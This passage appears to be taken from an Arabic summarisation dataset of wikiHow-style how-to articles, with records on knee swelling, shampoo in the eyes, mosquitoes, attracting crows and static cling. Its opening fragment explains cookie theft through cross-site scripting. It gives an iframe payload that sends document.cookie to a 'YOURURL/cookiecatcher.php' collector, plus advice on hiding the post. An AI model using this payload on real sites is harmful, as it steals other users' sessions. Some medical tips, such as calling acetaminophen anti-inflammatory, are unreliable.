إليك. قم برفع البرنامج إلى موقع لديك صلاحيات بالدخول إليه ويدعم php. اكتب الكود المناسب في المنشور والذي سيقوم بدوره بجمع الكوكيز وإرسالهم إلى موقعك. ستودّ أن تضيف بعضًا من النّص بعد الكود من أجل أن تبعد الغموض عنك وتحفظ منشورك من أن يتم حذفه. مثال على الكود <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe> بعد ذلك، يمكنك استخدام معلومات الكوكيز، والتي يجب أن يتم حفظها في موقعك، لأي غرض تريده.

english_section_name: Using Cross-Site Scripting


summary: حدد موعدًا مع طبيب. اسأل عن الجراحة. اذهب لأخصائي علاج طبيعي. اذهب لمقوم عظام.

document: اذهب للطبيب إذا رأيت تورمًا ملحوظًا أو إذا كانت الركبة لا تستطيع تحمل وزنك. يجب أيضًا أن تذهب للطبيب إذا كان يوجد أي تشوه واضح أو إذا عانيت من حمى أو احمرار في الركبة مما قد يكون علامة على الإصابة بعدوى. اذهب للطبيب إذا لم تلاحظ أي تحسن خلال أربعة أيام فقد تكون الأربطة ممزقة.  قد يعرف الطبيب سبب التورم لحالة الركبة. قد يجري الطبيب اختبارًا صوريًا مثل الأشعة السينية أو الموجات فوق الصوتية أو الرنين المغناطيسي. هذه الاختبارات تكشف إصابات العظام أو الأوتار أو الأربطة. يمكن أن يجري الطبيب إجراءً آخر وهو أن يحاول إزالة سائل الركبة ليرى إن كنت مصابًا بعدوى وذلك حسب عدد كرات الدم البيضاء والبكتيريا في السائل.  قد يحقنك الطبيب بسترويد في الركبة ليجرب تقليل التورم. قد ينصح الطبيب بجراحة وذلك حسب سبب التورم. بعض أنواع جراحة الركبة الشائعة تكون:  بزل المفصل: وفيها يتم إزالة السائل من الركبة لتخفيف الضغط على المفصل. التنظير: وفيها يتم إزالة الأنسجة المتضررة أو المترخية من حول الركبة. استبدال المفصل: يمكن الحصول على مفصل بديل للركبة إذا تأكدت أن الركبة لا تتحسن وألم الركبة لا يطاق. قد يصف الطبيب لك إجراء علاج طبيعي. أخصائي العلاج الطبيعي سيفحص ساقك وسيمرنك تمارينًا معينة حس حالتك ليقوي العضلات الموجودة حول مفصل الركبة. مشاكل القدم مثل القدم المسطحة وغيرها من الحالات قد تسهم في ألم الركبة وتورمها. اذهب لأخصائي قدم واطلب منه أن يقيم حالة قدمك. قد ينصحك بارتداء تقوم والذي تضعه داخل حذائك. قد يحتاج مقوم العظام أن يقيم حالة ظهرك وفخذيك كذلك. الألم الناتج عن الظهر أو الفخذ أو القدمين يسمى ألمًا منقولًا أو رجيعًا.

english_section_name: Getting Professional Treatment

summary: ارتد واقيًا للركبة. تجنب ثني الركبة والقرفصاء. امتنع عن ممارسة التمارين والرياضات الشديدة. تناول أطعمة لها خصائص مضادة للالتهابات. تجنب التدخين.

document: ارتد واقي للركبة إذا كنت تقضي وقتًا كبيرًا في الجلوس على ركبتيك مثل هندسة المناظر الطبيعية أو الأعمال المنزلية. استرح لفتراتٍ قصيرة من 10 أو 20 ثانية كل فترة إذا كان ذلك ممكنًا. أثناء هذه الراحات قف وافرد ساقيك. اسمح لساقيك أن تعود لوضع الراحة. الحركة المتكررة التي تستخدم الركبتين يحب تجنبها إذا كنت تريد منع تورم الركبتين. العديد من الرياضات لاسيما التي تتطلب الكثير من القفز والجري يمكن أن تكون مضرة للركبتين. تجنب التزلج على الجليد والجري وكرة السلة حتى تشفى ركبتك بالكامل. يمكن أن يسهم طعامك الذي تتناوله في زيادة خطر التورم في الركبة أو أي مكان آخر في الجسم. حاول أن تبتعد عن الأطعمة المعالجة والسكرية والمقلية. زد من تناولك للفواكه والخضروات والحبوب الكاملة.  أحماض أوميجا 3 الدهنية غنية بخصائص مضادة للالتهابات. تناول المزيد من السلمون والتونة لتزيد من أحماض أوميجا 3 الدهنية.  جرب حمية البحر الأبيض المتوسط. هذا النظام الغذائي غني بالبروتين قليل الدهن مثل السمك والدجاج، كما أنه يعتمد على الكثير من الخضروات وزيت الزيتون والفاصوليا. يقلل التدخين من تدفق الأكسجين والدم في جسمك مما يحد من قدرة الأنسجة على إصلاح نفسها.

english_section_name: Preventing Swollen Knees

summary: أرح ركبتك. ضع ثلجًا على الركبة. تجنب الحرارة لأول 48 ساعة. استخدم ضمادة ضاغطة. دلك الركبة بلطف. خفف الألم بمسكن للآلام لا يحتاج وصفة طبيب.

document: أرح ساقك ولا تفعل شيئًا سوى القليل من المشي قدر الإمكان.  اجعل الركبة مرتفعة عن مستوى قلبك وأنت راقد. ضع ركبتك وقدمك على وسادة أو ذراع الكرسي. استخدم العكازات إذا كان فرد الساق أو تحملها للوزن يؤلم. ضع الثلج على الجزء المتورم من الركبة مباشرةً لمدة 10 دقائق أو ثلث ساعة. الفعل هذا 3 مرات في اليوم لتقلل من الورم. يمكنك بدل استخدام الثلج أن تستخدم كمادة باردة أو كيسًا من الخضروات المجمدة مثل البازلاء بدلًا من الثلج. إذا كان عندك إصابة سببت تورم الركبة عليك تجنب وضع حرارة على ركبتك. يشمل هذا الكمادات الدافئة والاستحمام بالماء الساخن. لف ركبتك بضمادة مرنة لتضغط عليها. سيساعدك هذا في تقليل الورم. جرب ضمادة مرنة بقطعة لاصقة فيها تغلقها حتى لا تحتاج لمشابك لإمساكها.  يمكنك شراء ضمادة ضاغطة من أي صيدلية. كن حذرًا حتى لا تلف ركبتك بشدة. تكون الضمادة ملفوفة بشدة إذا شعرت بأي تنميل أو وخز أو ألم زائد أو تغير اللون. التدليك البسيط قد يزيد من تدفق الدم للركبة. إذا آلمك التدليك توقف عن فعله. جرب دواءً مضادًا للالتهابات مثل الأسبرين أو اسيتامينوفين أو دابروكسين أو ايبوبروفين. كل هذه الأدوية أدوية مضادة للالتهابات غير سيتيرودية  عند أخذ هذا النوع من مسكنات الآلام تأكد أن تكون حذرًا في اتباع تعليمات الجرعة الموجودة في النشرة. يمكنك أيضًا تجربة مسكن موضعي. تحدث مع الصيدلي عن الاستخدام الصحيح. يمكنك أيضًا تجربة لصقة طبية تحتوي يدوكائين مسكن لتخفيف الألم.

english_section_name: Trying Home Remedies

summary: قارن ركبتك المتورمة بالركبة السليمة. اثن ساقك وافردها. اختبر المشي على ساقك. اذهب لطبيب.

document: ابحث عن الانتفاخ حول الرضفة أو حول جانبي الركبة. مقارنة الركبتين ببعضهما من الطرق الجيدة لمعرفة إذا كان يوجد احمرار أو تورم حول الركبة أو أي شيء ليس على ما يرام.  قد يوجد تورم أيضًا في مؤخرة الركبة. قد يكون هذا التورم مؤشرًا على كيس بيكر الذي يكون عبارة عن سائلًا زائدًا دُفِع للأنسجة خلف الركبة والذي يمكن أن يسبب تورمًا خلف الركبة مما قد يسيء من الحالة عنما تقف.  اذهب للطبيب إذا كانت الركبة حمراء ومتورمة وتشعر أنها أكثر دفئًا من الركبة الأخرى عند لمسها. إذا كنت تشعر بعدم راحة عندما تحرك ساقك قد تكون الإصابة لا تزال في حاجة لعلاج. قد تشعر بألم أو تصلب الركبة. التصلب في الغالب يكون بسبب السائل في ركبتك. الساق المصابة قد تكون مؤلمة عندما تقف عليها. جرب أن تضع وزنك كله على ساقك المصابة وامش لترى إذا كان يمكن للساق أن تتحمل حمل الوزن. قد تكون قادرًا على تشخيص التورم في ركبتك وقد تعرف سبب التورم ولكن من الأفضل أن تذهب لطبيب ليفحص التورم إذا كان مؤلمًا ومستمرًا أو لم يختفي في يومين. بعض الحالات المحتملة التي تسبب تورم الركبة تشمل: إصابة مثل رباط أو غضروف ممزق، أو تهيج من استخدام الركبة كثيرًا، أو هشاشة العظام، أو التهاب المفاصل الروماتويدي، أو النقرس، أو عدوى، أو التهاب كيسي، أو غير ذلك.

english_section_name: Diagnosing a Swollen Knee


summary: قم بإمالة رأسك للخلف عند استخدام الشامبو. أبقِ عينك مغلقة عند الاستحمام بالشامبو. اقرأ ملصق العناية دائمًا قبل الاستخدام. لا تدعك عينك بيدك أو أصابعك بعد الغسل بالشامبو مباشرةً. اغسل يدك بعد غسل شعرك بالشامبو. ارتدِ نظارة واقية للعين أثناء الاستحمام. جرب استخدام شامبو بلا دموع (الشامبو محايد الحمضية). استخدم حاجزًا واقيًا للعين.

document: ارجع برأسك للخلف في أثناء دعك شعرك بالشامبو ناظرًا لأعلى باتجاه السقف بزاوية 45 درجة؛ يضمن ذلك نزول أي رغاوٍ أو فقاعات شامبو من خلفك وليس لأسفل على وجهك. لا تحنِ رأسك للأمام أو تبقها في مستوى متساوٍ كما تفعل عند النظر للأمام في المعتاد. استمر في تثبيت رأسك للخلف كذلك في أثناء شطف الشامبو. حاول الاستحمام بسرعة وكفاءة مع إبقاء عينك مغلقة ولا يعد هذا صعبًا بالقدر الذي تعتقده. إذا كنت معتادًا على حوض الاستحمام أو الدش، سوف تكون على دراية بأين تخطو وأين لا. ضع القليل من الشامبو على يدك وأغلق عينيك واستخدمه كالمعتاد. أبقِ عينك مغلقة عند الوقوف أسفل رأس الدش لشطف شعرك وافتح عينك بعد الانتهاء من الشطف تمامًا. تكون تعليمات الاستخدام مطبوعة على خلف عبوة الشامبو؛ سوف تمدك بمعلومات حول كيفية تجنب إدخال الشامبو في عينك كما ستساعد تلك التعليمات على تنبيهك عنداستخدام الشامبو. عندما تضع الشامبو على شعرك، ستستخدم على الأغلب يدًا أو كلا اليدين، وبالتالي قد تتبقى بعض الرغاوي أو البقايا على يدك. إذا وضعت يديك أو أصابعك في عينك الآ،، وبقايا ورغاوي الشامبو عليها، سوف يدخل المزيد من الشامبو لعينك! إذا أردت وضع أصابعك أو يدك على عينك أو حولها بعد الغسل بالشامبو، اشطف يدك جيدًا بالمياه أولًا. استخدم الصابون، لكنك لست مضطرًا لذلك، بل يمكنك غسل الشامبو بالمياه فقط. المهم أن تتأكد من شطف الشامبو عن راحة يدك وخلفها، بالإضافة لما بين أصابعك، وبعد ذلك يمكنك لمس أو دعك عينك بشكل آمن. ارتدِ نظارة أثناء وجودك في الدش  إذا كان دخول الشامبو في عينك يسبب التهابًا حادًا على الأخص. يمكنك شراء النظارات المخصصة للبيئات المائية من متجر السلع الرياضية. ارتديها أثناء الغسل بالشامبو وأزلها بعد شطفه لضمان غسل وجهك على نحو صحيح. توجد العديد من العلامات التجارية للشامبو محتوية على حمضية محايدة؛ مما يعني أن مستوى الحموضة 7. عندما استخدامك  لشامبو محايد، لن تلاحظ أو تشعر بألم إذا دخل بعض الشامبو في عينك وكما يوحي أسمه، تكون تلك الأنواع جيدة للغاية بالنسبة للأطفال وصغار السن الذين لا يتمكنون من غسل شعرهم بشكل صحيح ويعانون من حساسية تجاه الحموضة الطفيفة للشامبو العادي. تُسبب أنواع الشامبو الخالية من الدموع ألمًا أقل من الشامبو العادي إذا دخل أي شامبو في العين. الحاجز الواقي للعين هو قبعة بحواف صغيرة تشبه حافة خوذة الجولف. ضع القبعة الواقية على رأسك وتأكد من أن الحافة مثبتة على جبهتك بإحكام. سوف يساعد ارتداء تلك القبعة على تدفق وغاوي الشامبو على جوانب صدغيك أو على حواف القبعة. تعد هذه القبعات الواقية مفيدة على الأخص لمنع الشامبو من الدخول في عيون الأطفال.

english_section_name: Avoiding Shampoo in Your Eyes

summary: اهدأ. لا تفرك عينك. أغلق عينيك. اغمر عينك بالماء البارد. حاول أن تبكي. استشر الطبيب في الحال إذا استمر التهاب أو الألم في عينيك أو إذا عانيت من رؤية غير واضحة لفترة ممتدة بعد تنقية عينك بالمياه.

document: ربما قد تشعر باحساس حارق عند دخول الشامبو في عينك وقد يؤدي الألم إلى إصابتك بالذعر أحيانًا، لذا يساعدك البقاء هادئًا على تجنب فعل أي شيء قد يزيد الوضع سوءًا. توجد بعض الخيارات التي يمكنك اتباعها لتهدئة نفسك عندما تكون مقيدًا في الدش، لكن أحد طرق التهدئة في هذا الموقف هو التحكم في طريقة تنفسك. عليك الانتباه لطريقة شهيقك وزفيرك ومحاولة تخفيف تنفسك عن طريق الاستنشاق بعمق وبطء لخمس عدات ثم الزفير لخمس ثوانٍ أخرى. كرر ذلك ثلاث مرات على الأقل. يمكنك تصور نفسك في مشهد هادئ؛ اذهب بعقلك إلى مكان حيث لا يؤلمك شيءوبعيدًا عن كل الأخطار. مثلًان تخيل نفسك على قمة جبل هادئة ونسمة الهواء على وجهك ودفء الشمس الخفيف على بشرتك. ينتج الألم اللاسع الذي تشعر به بسبب كبريتات لوريث الصوديوم، وهي مادة رغوية، لذا لن تجني سوى زيادة الرغوة في عينك إذا فركت الشامبو عليها. يتسبب الفرك في تسرب الشامبو لعينك بشكل أعمق، وليست إزالته كما قد تظن. جمع جفنك العلوي والسفلي معًا لإغلاق عينك؛ سوف يساعد إغلاق عينك على إيقاف التعرض للشامبو وضمان عدم زيادة حجم المشكلة. لا تفتح عينك حتى تكن مستعدًا لشطف الشامبو. اشطف الشامبو الباقي أثناء غلق عينك؛ سوف تتجنب إدخال المزيد من الشامبو في عينك عن طريق شطف بقية الشامبو من رأسك. على افتراض أنك في الدش، اضبط درجة حرارة المياه بما يضمن أن تكون باردة وافتح عينك وووجه رأسك لأعلى نحو رأس الدش؛ الهدف أن تحصل عينك على دفقة من المياه مباشرةً. حرك رأس الدش من جانب لآخر كي تتدفق المياه خلال عينيك الأثنين. أبقِ عينيك مفتوحة قدر الإمكان بينما تتدفق المياه بداخلها وواتركها تغمرها لمدة دقيقتين إلى ثلاث دقائق. ينبغي أن يكون الدش خفيفًا؛ إذا لم يكن كذلك، افتح الصنبور واغرف مياه باردة بين يديك ورش المياه في عينك لعدة دقائق بشكل متكرر. ينبغي أن يزول كل الشامبو بعد شطف عينك بالمياه مباشرةً من الدش. في حالة إذا لم يحدث ذلك، ينبغي أن تحاول البكاء لإزالة أي مادة ملوثة متبقية. قد تسيل عينك بالفعل نتيجة التفاعل الطبيعي لدخول الشامبو في العين، إذا لم يحدث ذلك، سوف يساعد محاولة البكاء على إزالة السموم وتنقية عينك من أي شامبو متبقي بطريقة طبيعية. يحتاج البكاء حسب الرغبة للكثير من التمرن، لكن ابدأ بالتفكير في بعض الأفكار المأساوية كوسيلة للمساعدة. فكر مثلًا في أنك طفل وحيد في غابة مهجورة وتشعر برعب شديد. قد يساعد ذلك في تحفيز الدموع المفترض أن تعود عينك لحالتها الطبيعية بعد عدة دقائق من استخدام بعض الماء البارد لإيقاف التهيج، لذا إن عانيت من ألم في عينك أو رؤية غير واضحة شديدة ومتكررة بدرجة تستدعي القلق، اتصل بالطبيب المختص في الحال. ربما أنك تعاني من رد فعل تحسسي لمكون معين في الشامبو المستخدم، وقد تعاني من أعراض خطيرة لاحقًا، مثل: نزول دم أو صديد أو وجود تجلط على عينك. هذه الأعراض بعد دخول الشامبو في عينيك سبب كافٍ للقلق ويجب عليك إجراء فحص بواسطة الطبيب فورًا دون تأخير.

english_section_name: Getting Shampoo Out of Your Eyes With Water


summary: رش مبيدًا حشريًا كحل مؤقت. جرّب النباتات الطاردة للبعوض. لا تؤمن بفعالية صاعق البعوض وأجهزة الموجات فوق الصوتية. استخدم اجراءات مؤقتة.

document: الديت هو أكثر مبيد حشري فعال لطرد البعوض، لكنه لا يستمر سوى لعدة ساعات كحد أقصى ويمكن أن يقتل الحشرات المفيدة في باحتك أيضًا.قد تتسبب المبيدات الحشرية الأخرى في ضرر أقل لكنها تكون أقل فعالية وتستمر لفترة أقصر و/أو مصممة لتعمل على الملابس فضلًا عن المساحات الكبيرة. تحقق من الملصق للتأكد مما إذا كان المبيد الحشري موافق عليه من قبل وكالة حماية البيئة أو أي مؤسسة منظمة أخرى. أحد النباتات المعروفة بقدرتها على طرد البعوض هي نبتة اللانتانا، لكن توخ الحذر لأنها سامة للحيوانات الأليفة كما أنها قد تسبب الحساسية وتعد فصيل غزوي في بعض المناطق.قد يكون لبعض النباتات الأخرى تأثير محدود لكن جربها إذا كنت تستمتع بها في حديقتك أو إذا كنت تنوي زرع كميات كبيرة: قد يكون للسيترونيلا أو حشيشة الليمون أو أي فواكه حمضية أو الريحان أو النعناع أو إكليل الجبل أو النعناع البري تأثير محدود. قد يبدو صاعق البعوض فعالًا نظرًا لصوته العالي والأضواء أو الشرار الساطع. بينما في الواقع أغلب الحشرات التي يقتلها ليست بعوض، بل أنه يقتل الحشرات التي عادةً ما تأكل أو تتنافس مع البعوض. أحيانًا ما تعمل بعض أفخاخ البعض باستخدام نظام مروحي شبيه جدًا بالفخ المنزلي الموصوف أعلى المقال. يمكن أن يكون ذلك فعالًا ولو لفترة مؤقتة. عادةً ما يتجنب البعوض الدخان ويتم طرده باستخدام مروحة قوية. لن يكون العشاء في الشرفة محببًا إذا كنت تجلس في غيمة من الدخان أو في رياح قوية، لكن إذا كنت ترغب في إبقائها بعيده للدقائق القليلة التالية، يعد ذلك خيارًا مناسبًا. شموع السيترونيلا فعالة نتيجة .للدخان لا الرائحةأي شمع سيفي بالغرض أيضًا.

english_section_name: Trying Other Mass Control Methods

summary: قم بتفريغ أو معالجة الماء الراكد. نظف مزاريب المياة وكومات القمامة. قم بجز الحشائش والشجيرات وتخلص من أي بقع مياه.

document: يعد الماء الراكد محلًا لتكاثر يرقات البعوض. قم بتفريغ دلو الأمطار أو حوض سباحة الأطفال أو أطباق مياه الحيوانات الأليفة أو أي أوعية ماء أخرى. للبرك ومصادر الماء التي لا يمكنك أن تفرغها، أضف مبيدًا حشريًا مصممًا لقتل يرقات البعوض.  اقرأ ملصق التحذير المدون على المبيد الحشري دائمًا لمعرفة ما إذا كان شرب الماء المعالج قد يضر بالأطفال الصغيرة أو الحيوانات الأليفة. تعد المنتجات التي تستخدم عوامل بكتيرية لقتل اليرقات أكثر أمانًا على حياة الحيوانات الأخرى من الكيماويات. تعد تلك مصادر للماء الراكد وبالتالي تشكل موطنًا للتكاثر لم يخطر على بالك قط. تخلص من الفوضى المتراكمة في باحتك خاصةً في موسم الأمطار. يساعد جز حشائش وشجيرات الباحة على تقليل فرص تكون بركات صغيرة من ماء الندى أو ماء الأمطار.اسق حديقتك حسب الحاجة فقط، بترطيب التربة لا إغراقها أو تغطيتها بكمية كبيرة من الماء.

english_section_name: Killing Mosquito Larvae

summary: أشعل مصباحًا أو كشافًا. جرب استخدام المكنسة الكهربية. انتظر حتى تقف البعوضة على حائط. استهدف البعوض بأي أداة طويلة. حاصرها بكوب.

document: عادةً ما ينجذب البعوض إلى الأضواء، إذا كان هناك بعوضة تصدر صوتًا في الغرفة لا داعي لغلق الأنوار. سلط ضوءً ساطعًا على بقعة واحدة من غرفتك لاستدراج البعوضة إلى هلاكها. "لا" ينجذب البعوض إلى أضواء الصوديوم أو الليد أو الضوء الأصفر "ضوء الحشرات".استخدم تلك الأضواء كضوء ليلي لتقليل عدد البعوض لكن ليس لاستدراج بعوضة واحدة. قم بتركيب وصلة الخرطوم على مكنسة كبيرة. عند رؤية بعوضة، شغل المكنسة الكهربية ولاحقها. عند امتصاصها بالمكنسة، ستموت البعوضة داخل كيس المكنسة الكهربية لكن يمكنك تفريغ الكيس في الخارج إذا أردت التأكد.إذا كان يبدو ذلك كمجهود كبير على بعوضة واحدة، يمكنك أن تستمر في القراءة لتذكر نفسك بطرق تقليدية أخرى. إذا استمررت في ملاحقتها بعينيك أو الاقتراب منها لتخيفها وتوجهها تجاه الحائط، لن يستغرق الأمر سوى دقيقة أو دقيقتين بالكثير. إذا لم تقف البعوضة على الحائط، حاول أن تقتلها بالتصقيف بيديك الاثنين معًا وهي تطير حولك. قد يحتاج ذلك إلى عدة محاولات. يمكن أن تشكل المجلة الملفوفة أو ورق الجرائد أو أي أوراق أخرى قديمة خيارًا جيدًا لزيادة قوة الضربة. يمكنك استخدام قميص أو كتاب أو أي شيء طالما أنت مستعد لغسل أو مسح البعوضة المسحوقة بعضها. عند الانتهاء من قتل البعوضة بنجاح، طرقع صوابعك وامض في يومك. يمكنك شراء مضرب ذباب لهذا الهدف أو استخدام مضرب كهربي ليقتل الحشرة فور ملامستها له. إذا كانت البعوضة تتفادى ضرباتك، يعني ذلك أنها تتفاعل مع تحرك الهواء الذي يسبق ضربتك. حاول أن تحرك كوبًا زجاجيًا شفافًا على السطح الذي استقرت عليه البعوضة لحبسها في الداخل. قم بإدخال قطعة من الورق أو الكرتون بين الكوب والسطح حتى تتمكن من تحريك البعوضة المحبوسة. القها في الخارج أو قم بإزالة الورقة بحذر واسحقها أو اترك البعوضة داخل الكوب لتختنق.

english_section_name: Killing a Single Mosquito

summary: ابحث عن مروحة صندوقية كبيرة.

document: يمكنك شراء الشفاطات الكبيرة التي تشفط الهواء بدلًا من أن تولده مقارنةً بالمراوح التقليدية من متاجر الأدوات المنزلية أو متاجر الأقسام. اختر مروحة بإطار معدني لأنك ستستخدم مغناطيسًا في هذا الفخ. بذلك وبعدة إمدادات بسيطة أخرى، يمكنك صنع فخ لتقليل عدد البعوض حولك في فترة قصيرة من الوقت. ليس التأثير معروفًا على المدى الطويل، لكن ينصح باتباع تلك الطريقة في قسم منع التكاثر أيضًا. إذا كنت تصنع فخًا للبعوض في الباحة، قد تحتاج إلى كابل وصلة كهربية أيضًا حتى تتمكن من توصيل المروحة بالكهرباء داخل المنزل.

english_section_name: Creating a Homemade Mosquito Trap


summary: أزل من حديقة منزلك الأشياء التي قد تخيف الغربان. ضع غربانًا بلاستيكية في الحديقة. استخدم نداءات الغربان. وفّر لهم مكانًا للتجول. ضع طعامًا لهم في الحديقة.

document: تفزع الغربان بسهولة من الضوضاء العشوائية، لذلك فإن أشياءً مثل الأجراس وأجراس الرياح وحتى البوابات الكبيرة الصاخبة يمكن أن ترهب الغربان وتبقيهم بعيدًا. تخاف الغربان عادة من الأسطح العاكسة التي تخلق ومضات ضوء عشوائية مع الحركة. يمكن أن تكون الفزاعات (خيال المآتة) أو الطيور البلاستيكية مخيفة للغربان في البداية، لكنها طيور ذكية ولن تنخدع لفترة طويلة. إذا تواجد غراب واحد في فنائك، سوف يريد الآخرون اتباعه. يجب أن يبدو الغراب طبيعيًا وحيًا لأن الأشكال المعلقة رأسًا على عقب أو التي تبدو خالية من الحياة -مثلها مثل زينة الهالوين- سوف تخيفهم وحسب. يمكنك إما شراء جهاز نداء إلكتروني أو محاولة عمل صفارة نداء يدوية بنفسك. هناك مجموعة متنوعة من النداءات المختلفة التي تستخدمها الغربان والعديد منها سوف يجذب إليك أقرب سرب من الغربان. من بين النداءات الشهيرة نداء الانتباه ونداء الحشد ونداء الاستغاثة، وتلك جميعًا سوف تجلب الغربان الفضولية إلى موقعك. من الصعب النداء بصفارة يدوية، لكن يمكن أن يمنحك ذلك مرونة أكبر في الاتصال والتواصل مع الطيور. ضع الصفارة بين الإبهام والسبابة، صانعًا بيديك ما يشبه الكوب حول نهاية الصفارة. بدلًا من النفخ في الصفارة سوف تحتاج إلى إصدار صوت مُزمجر من أجل النداء، كما لو كنت تنقّي حلقك. تحب الغربان الوقوف في العوارض الأفقية، مثل: الأسوار وفروع الأشجار. الغربان أيضًا طيور اجتماعية، لذلك سوف تحتاج إلى توفير العديد من الأماكن لهم للجلوس والبقاء معًا. الغربان طيور كبيرة كذلك، لذا يجب أن يكون مكان التجول قويًا جدًا. يمكن أن تكون ممرات الطيور قديمة الطراز مفيدة للغاية في هذا الشأن. يمكنك أيضًا إنشاء هيكل صناعي إذا لم يكن لديك مساحات طبيعية كافية. ثبّت قوائم خشبية في الأرض ثم ضع بينها عوارض خشبية متقاطعة لتوفير مساحات تجول أكثر. سوف تأكل الغربان أي شيء تضعه لهم، لذا لا داعي للقلق الشديد حيال الطعام الذي تضعه لهم. لجذب الغربان ستحتاج في البداية إلى نثر طعام يمكن ملاحظته بسهولة، مثل: الفول السوداني غير المقشر. عندما تجد الغربان تتردد بانتظام على حديقة منزلك، يمكنك حينئذ استخدام مجموعة متنوعة من الأطعمة، بما في ذلك أطعمة الحيوانات الأليفة المجروشة أو قطع اللحم الصغيرة. يأكل الغربان كميات كبيرة من الطعام، لذلك لا تتردد في وضع المزيد من الطعام لهم إذا أكلوا كل شيء.

english_section_name: Bringing Crows to Your Yard

summary: خطّط جدول تغذية منتظم بعد البدء في وضع الطعام لهم. وفّر لهم الماء. كن صبورًا.

document: الغربان ذكية وسوف تتعلم بسرعة أنك توفر لهم الغذاء بانتظام. توفير الغذاء بصورة منتظمة هو بشكل عام شيء جذاب للغاية بالنسبة لأي حيوان بري. ضع الماء في حاويات صغيرة وضحلة للغربان والطيور الأخرى للشرب. سوف تحتاج إلى أن تكون الحاويات متينة، بما يضمن ألا تسكبها أي قطة أو طير آخر باحث عن الماء بسهولة. احرص على إخلاء الماء من الجليد خلال فصل الشتاء، في حالة كنت تعيش في منطقة ثلجية. قد لا تتمكن من جذب الغربان على الفور، فمن الممكن للغذاء الذي توفره أن يجذب العصافير والطيور الزرقاء والطيور الصغيرة الأخرى قبل الغربان. قد تحتاج إلى نشر الطعام لعدة أيام قبل أن تتبع الغربان العصافير الصغيرة ومن ثم تهتدي إلى غذائك.

english_section_name: Keeping Crows Coming Back


summary: عززي مستوى الرطوبة في منزلك. اغسلي الملابس يدويًا أو في الغسالة الكهربائية على أكثر الأنظمة حساسية. ضعي الفستان على مشجب ملابس على مدخل الباب. تحركي في المنزل حافية القدمين.

document: قد تساعدك هذه الخطوة على التخلص من كل مشاكل الكهرباء الاستاتية في المستقبل، كل ما تحتاجين إليه هو شراء جهاز ترطيب الجو من أحد متاجر الأدوات المنزلية القريبة من منزلك، حيث أن الكهرباء الاستاتية في الأساس من مشاكل الشتاء حيث يكون الجو جاف جدًا، ولذلك تنخفض معدلات الكهرباء الاستاتية مع الوقت في وجود جهاز ترطيب الجو، و يمكنك تعليق فستانك قليلًا في الحمام بعد الاستحمام إذا كنتِ لا ترغبين في شراء جهاز ترطيب الجو، لأن الرطوبة تكون عالية في الحمام وستعمل على التخلص من الكهرباء الاستاتية. وافحصي الفستان أولًا لمعرفة إذا كان قابلًا للغسل بالماء أم لا، ابحثي عن بطاقة تعليمات الغسيل والتنظيف الموجودة على الفستان، والتي يجب أن تعرفي من خلالها إذا كانت تسمح بغسل هذا الفستان أم لا، ويُمكن إضافة القليل من صودا الخبز في الغسالة الكهربائية لكي يخفف من التصاق الملابس بفعل الكهرباء الاستاتية.  جربي إخراج الفستان من المُجفف بينما لايزال يحتفظ ببعض الرطوبة إذا كنتِ ستستخدمين المُجفف الكهربائي. ثبتي المشجب على إطار الباب، أو جربي وضع الفستان على مشجب في الدقائق العشر الأخيرة من وقت تجفيف الفستان إذا كنتِ تستخدمين حبالًا لتجفيف الملابس ولا تضعيه مباشرًة على الحبل، وسيعمل هذا على منع نسيج الفستان من التجعّد وبالتالي سيمنع الكهرباء الاستاتية من التراكم على القماش. ربما يبدو هذا سخيفًا، إلا أنه يساعد على تقليل الكهرباء الاستاتية المشحونة والتي يجمعها جسدك، وإذا لم تتراكم الشحنات على جسدك فلن تنتقل إلى ملابسك بالتبعية، لذا جربي التنقل بقدمين حافيتين قليلًا إذا كنتِ تخططين لارتداء فستانك قريبًا. يمكنك أيضًا وضع قطع من ورق الألمونيوم حول كعب حذائك لكي يمنع الكهرباء الاستاتية من التراكم بالقرب من جسدك، ولكن التنقل حافية القدمين في النهاية قد يكون هو الحل الأسهل.

english_section_name: Removing Static With Time

summary: افركي الفستان بقطعة من ورق التجفيف المُضاد للكهرباء الاستاتية. استخدمي زجاجة بخاخ مملوءة بالماء ورُشي القليل من المياه على الفستان. استخدمي مُستحضرًا مُضادًا للكهرباء الاستاتية على فستانك. استخدمي مُستحضر تثبيت الشعر على الفستان. المسي معدنًا موضوعًا على الأرض. ضعي القليل من الكريم المُرطب على بشرتك حيث يلتصق القماش. اشتري ملابس مصنوعة من الألياف الطبيعية.

document: أبعدي قماش الفستان عن جلدك ثم قومي بفرك الجزء الداخلي من نسيج الفستان بورق التجفيف، ولكن هذه العملية ستكون أصعب إذا كانت الكهرباء الاستاتية في اتجاه الجزء العلوي من الفستان أو الصدر أو أي منطقة من الصعب فرك ورق التجفيف تحتها، ولكن يُمكنكِ المحاول على كل حال، فإن هذه الطريقة من شأنها أن تساعدك على التخلص من الكهرباء الاستاتية بسرعة وبسهولة، ومن المفترض أن تنتقل الكهرباء الاستاتية إلى ورقة التجفيف فورًا إذا قُمتِ بتنفيذ هذه الطريقة بشكل سليم. رُشي القليل من الماء على أي موضع من الوجه الخارجي للفستان إذا كان يلتصق بكِ، ويُمكنك استخدام زجاجة البخاخ الخاصة بمنظف الزجاج القديم لديكِ أو بخاخ النباتات، فقط احرصي على ألا يرش البخاخ الكثير من الماء، حيث أنكِ تحتاجين فقط إلى ترطيب القماش قليلًا في المواضع التي تشعرين بالتصاقها بجسدك، وهذه الطريقة تساعد على التخلص من الكهرباء الاستاتية بسرعة، ولكن انتبهي ألا ترشي الكثير من الماء أو تتسببي في ابتلال مساحة كبيرة.  فليس من المحبذ على الإطلاق أن تذهبي لأي مكان بملابس رطبة، ولا تقلقي فلن تعود الكهرباء الاستاتية بعد أن يجف الفستان مرة أخرى. يُمكنك الحصول على هذا البخاخ المُخصص من الصيدليات، وسيساعدك على التخلص من الكهرباء الاستاتية من نسيج الفستان بسرعة وسهولة، ويجب أن تتذكري أن تقومي باستخدام البخاخ على الوجه الخارجي من الفستان على أي موضع تشعرين بالتصاقه بكِ بسبب الكهرباء الاستاتية، قد يكون هذا المُستحضر غالي الثمن، إلا أنه أثبت فاعليته مع الكثير من الأشخاص،  لذلك إذا كان لديك الوقت لشراء ذلك المستحضر أو كان عندك بالفعل، فهو أداة رائعة للقضاء على مشكلة الكهرباء الاستاتية. قومي برش مُستحضر تثبيت الشعر من على مسافة بعيدة نسبيًا عن بشرتك، ولا ترشيه مباشرًة على نسيج الفستان، المسافة المناسبة لذلك تساوي تقريبًا طول ذراعك، واحرصي على ألا تقومي بالرش بالقرب من 